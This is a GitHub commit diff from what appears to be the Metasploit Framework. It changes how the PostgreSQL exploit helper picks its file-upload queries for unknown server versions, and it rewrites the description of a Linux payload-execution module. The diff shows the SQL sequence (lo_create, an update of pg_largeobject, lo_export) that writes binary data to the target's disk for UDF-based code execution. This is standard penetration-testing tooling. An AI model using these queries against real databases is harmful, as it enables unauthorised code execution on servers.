Skip to content

Commit 768d2c5

Browse files
committed
Go back to old behavior for unknown versions
May not be correct, but it's what we used to do, so probably better than just raising. Also documents things a bit better.
1 parent 1eccb24 commit 768d2c5

File tree

2 files changed

+30
-22
lines changed

2 files changed

+30
-22
lines changed

lib/msf/core/exploit/postgres.rb

Lines changed: 19 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -325,20 +325,20 @@ def postgres_upload_binary_data(data, remote_fname=nil)
325325
end
326326

327327
# Writes b64 data from a table field, decoded, to disk.
328+
#
329+
# This is accomplished with 3 sql queries:
330+
# 1. select lo_create
331+
# 2. version dependant:
332+
# - on 9.x, insert into pg_largeobject
333+
# - on older versions, update pg_largeobject
334+
# 3. select lo_export to write the file to disk
335+
#
328336
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
329337
oid = rand(60000) + 1000
330338
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
331339

332340
ver = postgres_fingerprint
333341
case ver[:auth]
334-
when /PostgreSQL 8\./
335-
# 8.x inserts the largeobject into the table when you do the
336-
# lo_create, so we with a value.
337-
queries = [
338-
"select lo_create(#{oid})",
339-
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
340-
"select lo_export(#{oid}, '#{remote_fname}')"
341-
]
342342
when /PostgreSQL 9\./
343343
# 9.x does *not* insert the largeobject into the table when you do
344344
# the lo_create, so we must insert it ourselves.
@@ -348,10 +348,17 @@ def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
348348
"select lo_export(#{oid}, '#{remote_fname}')"
349349
]
350350
else
351-
# Since the technique required for uploading seems to change
352-
# between versions, complain that we don't know how to do it for
353-
# an unknown version.
354-
raise RuntimeError.new("Unknown Postgres version, don't know how to upload files")
351+
# 8.x inserts the largeobject into the table when you do the
352+
# lo_create, so we with a value.
353+
#
354+
# 7.x is an unknown, but this behavior was the default before the
355+
# addition of support for 9.x above, so try it this way and hope
356+
# for the best
357+
queries = [
358+
"select lo_create(#{oid})",
359+
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
360+
"select lo_export(#{oid}, '#{remote_fname}')"
361+
]
355362
end
356363

357364
queries.each do |q|

modules/exploits/linux/postgres/postgres_payload.rb

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -24,16 +24,17 @@ def initialize(info = {})
2424
super(update_info(info,
2525
'Name' => 'PostgreSQL for Linux Payload Execution',
2626
'Description' => %q{
27-
This module creates and enables a custom UDF (user defined function) on the
28-
target host via the UPDATE pg_largeobject method of binary injection. On
29-
default Microsoft Linux installations of PostgreSQL (=< 8.4), the postgres
30-
service account may write to the Windows temp directory, and may source
31-
UDF Shared Libraries's from there as well.
32-
33-
PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on are valid targets for this module.
34-
35-
NOTE: This module will leave a payload executable on the target system when the
36-
attack is finished, as well as the UDF SO and the OID.
27+
On some default Linux installations of PostgreSQL, the
28+
postgres service account may write to the /tmp directory, and
29+
may source UDF Shared Libraries's from there as well, allowing
30+
execution of arbitrary code.
31+
32+
This module compiles a Linux shared object file, uploads it to
33+
the target host via the UPDATE pg_largeobject method of binary
34+
injection, and creates a UDF (user defined function) from that
35+
shared object. Because the payload is run as the shared object's
36+
constructor, it does not need to conform to specific Postgres
37+
API versions.
3738
},
3839
'Author' =>
3940
[

0 commit comments

Comments
 (0)